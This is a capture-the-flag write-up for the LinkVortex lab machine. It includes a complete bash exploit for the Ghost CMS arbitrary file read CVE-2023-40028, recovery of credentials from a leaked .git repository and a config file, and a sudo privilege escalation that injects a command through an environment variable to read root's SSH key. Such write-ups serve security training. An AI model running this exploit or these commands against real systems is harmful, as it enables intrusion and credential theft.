RECON
Port Scan
Quick full port scanning:
$ rustscan -a $ip --ulimit 1000 -r 1-65535 -- -A -sC
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMHm4UQPajtDjitK8Adg02NRYua67JghmS5m3E+yMq2gwZZJQ/3sIDezw2DVl9trh0gUedrzkqAAG1IMi17G/HA=
| 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKKLjX3ghPjmmBL2iV1RCQV9QELEU+NF06nbXTqqj4dz
80/tcp open http syn-ack Apache httpd
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Domain: http://linkvortex.htb/
Subdomain
A company selling hardware, with a search bar in the web app:

Fuzz subdomains:
ffuf -c -u "http://linkvortex.htb" -H "HOST: FUZZ.linkvortex.htb" -w ~/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fc 301 -t 100

Subdomain: http://dev.linkvortex.htb
This website is clearly under development, exposing potential internal information:

Dirsearch
Path fuzzing for http://dev.linkvortex.htb:
dirsearch -t 50 -u "http://dev.linkvortex.htb"
Severe git leak vulnerability identified:

BOB
Git Dump | Password
The accessible .git
directory indicates that we can potentially retrieve the repository's content, using git-dumper
as we introduced in the Trickster writeup. Dump the whole repository to our attack machine:
python git_dumper.py http://dev.linkvortex.htb/.git/ $workdir/linkvortex-repo
Apply Python virtual env to run:

We have dumped a project with tons of files:

The config
file under .git
points to the official Ghost CMS GitHub repository and fetch the specific tag v5.58.0
from the remote:

Try to enumerate credentials inside the dump, we found some plain-text password in authentication.test.js
:

The file appears to be a test script for authentication functionality in the Ghost CMS admin API.
A list of credentials was discovered. The same file exists under the same path in the official Ghost repository (tag v5.58.0
). Download it for comparison:
wget https://raw.githubusercontent.com/TryGhost/Ghost/v5.58.0/ghost/core/test/regression/api/admin/authentication.test.js -O authentication-official.test.js
Use the diff
command to compare dumped file with the official one:
diff -u ./linkvortex-repo/ghost/core/test/regression/api/admin/authentication.test.js ./authentication-official.test.js
We found a custom password (OctopiFociPilfer45
), likely used during development or deployment on the target system:

Inspect it inside the source code:
it('complete setup', async function () {
const email = '[email protected]';
const password = 'OctopiFoc▒▒▒▒▒▒';
...
Enum | Username
Using the discovered password, we can uncover valid usernames for the Ghost CMS. By examining the logs from the leaked GIT repository at http://dev.linkvortex.htb/.git/logs/HEAD:
0000000000000000000000000000000000000000 299cdb4387763f850887275a716153e84793077d root <[email protected]> 1730322603 +0000 clone: from https://github.com/TryGhost/Ghost.git
An email [email protected]
was found, matching the typical username format for Ghost CMS logins.
Additionally, by exploring the articles on the website, the author is identified as admin
, likely the primary user of the CMS:

The URL http://linkvortex.htb/author/admin/
further confirms the existence of the admin
user:

The email for the author is likely [email protected]
.
Ghost | CVE-2023-40028
Ghost CMS version 5.58.0
has multiple CVEs, including CVE-2023-40028, which allows authenticated users to upload symlinks, leading to arbitrary file read vulnerabilities. This issue was patched in version 5.59.1
.
A Proof-of-Concept (PoC) exploit is available on GitHub, and it can be modified to suit our case:
#!/bin/bash
# Ghost Arbitrary File Read
# Version: BEFORE [ 5.59.1 ]
# CVE : CVE-2023-40028
#GHOST ENDPOINT
GHOST_URL='http://linkvortex.htb'
GHOST_API="$GHOST_URL/ghost/api/v3/admin/"
API_VERSION='v3.0'
PAYLOAD_PATH="`dirname $0`/exploit"
PAYLOAD_ZIP_NAME=exploit.zip
# Function to print usage
function usage() {
echo "Usage: $0 -u username -p password"
}
while getopts 'u:p:' flag; do
case "${flag}" in
u) USERNAME="${OPTARG}" ;;
p) PASSWORD="${OPTARG}" ;;
*) usage
exit ;;
esac
done
if [[ -z $USERNAME || -z $PASSWORD ]]; then
usage
exit
fi
function generate_exploit()
{
local FILE_TO_READ=$1
IMAGE_NAME=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
mkdir -p $PAYLOAD_PATH/content/images/2024/
ln -s $FILE_TO_READ $PAYLOAD_PATH/content/images/2024/$IMAGE_NAME.png
zip -r -y $PAYLOAD_ZIP_NAME $PAYLOAD_PATH/ &>/dev/null
}
function clean()
{
rm $PAYLOAD_PATH/content/images/2024/$IMAGE_NAME.png
rm -rf $PAYLOAD_PATH
rm $PAYLOAD_ZIP_NAME
}
#CREATE COOKIE
curl -c cookie.txt -d username=$USERNAME -d password=$PASSWORD \
-H "Origin: $GHOST_URL" \
-H "Accept-Version: v3.0" \
$GHOST_API/session/ &> /dev/null
if ! cat cookie.txt | grep -q ghost-admin-api-session;then
echo "[!] INVALID USERNAME OR PASSWORD"
rm cookie.txt
exit
fi
function send_exploit()
{
RES=$(curl -s -b cookie.txt \
-H "Accept: text/plain, */*; q=0.01" \
-H "Accept-Language: en-US,en;q=0.5" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "X-Ghost-Version: 5.58" \
-H "App-Pragma: no-cache" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: multipart/form-data" \
-X POST \
-H "Origin: $GHOST_URL" \
-H "Referer: $GHOST_URL/ghost/" \
-F "importfile=@`dirname $PAYLOAD_PATH`/$PAYLOAD_ZIP_NAME;type=application/zip" \
-H "form-data; name=\"importfile\"; filename=\"$PAYLOAD_ZIP_NAME\"" \
-H "Content-Type: application/zip" \
-J \
"$GHOST_URL/ghost/api/v3/admin/db")
if [ $? -ne 0 ];then
echo "[!] FAILED TO SEND THE EXPLOIT"
clean
exit
fi
}
echo "WELCOME TO THE CVE-2023-40028 SHELL"
while true; do
read -p "file> " INPUT
if [[ $INPUT == "exit" ]]; then
echo "Bye Bye !"
break
fi
if [[ $INPUT =~ \ ]]; then
echo "PLEASE ENTER FULL FILE PATH WITHOUT SPACE"
continue
fi
if [ -z $INPUT ]; then
echo "VALUE REQUIRED"
continue
fi
generate_exploit $INPUT
send_exploit
curl -b cookie.txt -s $GHOST_URL/content/images/2024/$IMAGE_NAME.png
clean
done
rm cookie.txt
The exploit uses a symlink attack by uploading a malicious ZIP file containing a symbolic link to a target file. Ghost CMS processes the uploaded ZIP file and resolves the symlink, exposing the contents of the target file.
Here's the workflow of POC:
- The
generate_exploit
function:- Creates a directory for the payload:
PAYLOAD_PATH/content/images/2024/
. - Generates a symlink that points to the target file (
FILE_TO_READ
). - Adds the symlink to a ZIP file (
exploit.zip
).
- Creates a directory for the payload:
- The
send_exploit
function uploads the malicious ZIP file to the Ghost admin API's database import endpoint (/ghost/api/v3/admin/db
) usingcurl
. - Headers like
X-Ghost-Version
are included to ensure compatibility with the Ghost API.
- After the exploit is uploaded, the target file's content is accessible at:
$GHOST_URL/content/images/2024/$IMAGE_NAME.png
. - The script retrieves the file content using a
curl
request and displays it. - After the exploit, the script enters an interactive loop where the user can specify files to read.
Run the script and test with the credentials we found:
bash poc.sh -u '[email protected]' -p 'OctopiFo▒▒▒▒▒▒▒▒'
We also identified a standard user node
, likely representing the node.js
runtime environment commonly used by Ghost CMS:

Ghost | Config
Now we have arbitrary file read capabilities in a Ghost CMS installation, deployed via Node.js, we can target specific paths like /var/lib/ghost/config.production.json
which contains sensitive configuration data, according to the Ghost documentation.
For self-hosted Ghost users, a custom configuration file can be used to override Ghost’s default behaviour. This provides you with a range of options to configure your publication to suit your needs.
As a result:
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "[email protected]",
"pass": "fibber-▒▒▒▒▒▒-▒▒▒▒"
}
}
}
}
Another set of credentials was found for the user bob
. Testing these credentials for SSH access allowed us to compromise Bob’s account and retrieve the user flag:

ROOT
Sudo
Examining the network configuration reveals that Ghost CMS is running inside a Docker container. The node
user corresponds to node.js
, which is responsible for running the application:

Inspect sudo
privilege for the current user Bob:
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
This sudo
privilege configuration allows Bob to execute the script /opt/ghost/clean_symlink.sh
with bash
as root, without requiring a password. However, the script only accepts files ending in *.png
as arguments.
Read the clean_symlink.sh
script:
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
This script is designed to process .png
files, specifically symbolic links, and either quarantine them or remove them if they target sensitive directories like /etc
or /root
.
It defines 2 key variables:The script ensures that only .png
files are processed.
QUAR_DIR="/var/quarantined"
:- The directory where symbolic links (
.png
files) are moved if they aren't pointing to critical paths.
- The directory where symbolic links (
CHECK_CONTENT=false
:- If enabled (
true
), the script attempts to display the content of the quarantined file usingcat
. - It blindly evaluates the
CHECK_CONTENT
variable as a shell command without sanitization or validation.
- If enabled (
Key workflow:
- Links targeting
/etc
or/root
are identified and removed. - The script follows symbolic links. This means we can trick the script into reading or moving sensitive files outside
/etc
or/root
by pointing the link to non-critical paths. - For example, linking to
/var/log/syslog
or/home/username/.ssh/id_rsa
won't trigger removal but will move the file to/var/quarantined
. - If
CHECK_CONTENT
is set totrue
, the script will display the content of the quarantined file:/usr/bin/cat $QUAR_DIR/$LINK_NAME
.
This setup allows us to read files that would otherwise be inaccessible, as the script runs with root
privileges. By leveraging the CHECK_CONTENT
variable, we can escalate further to achieve arbitrary code execution as root
.
Exploit
By default, the script will stop us from reading sensitive files:

We can exploit the script's logic flaw by creating a symlink pointing to another symlink that ends with .png
to bypass the extension check:
ln -s /tmp/evil.png /tmp/good.png
Then, create the second symlink (/tmp/evil.png
) pointing to anywhere:
ln -s /dev/null /tmp/evil.png
- The first link (
/tmp/good.png
) satisfies the.png
file requirement. - The second link (
/tmp/evil.png
) can point to anything. The purpose is only to satisfy the.png
file extension check.
Now, simply set CHECK_CONTENT
to execute /bin/cat /root/.ssh/id_rsa
:
export CHECK_CONTENT='/bin/cat /root/.ssh/id_rsa'
We can further enhance the exploit by making the second symlink point to our target file, such as
/root/.ssh/id_rsa
. By settingCHECK_CONTENT
toTRUE
, we achieve arbitrary file read. However, since we already have arbitrary code execution via the previous method, this provides an additional layer of exploitation flexibility.
Run the vulnerable script with the initial symbolic link (/tmp/good.png
):
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/good.png
The script moves /tmp/good.png
to /var/quarantined/
(we don't actually care):

It executes CHECK_CONTENT
, directly reading and printing /root/.ssh/id_rsa
:

Root:

Comments | NOTHING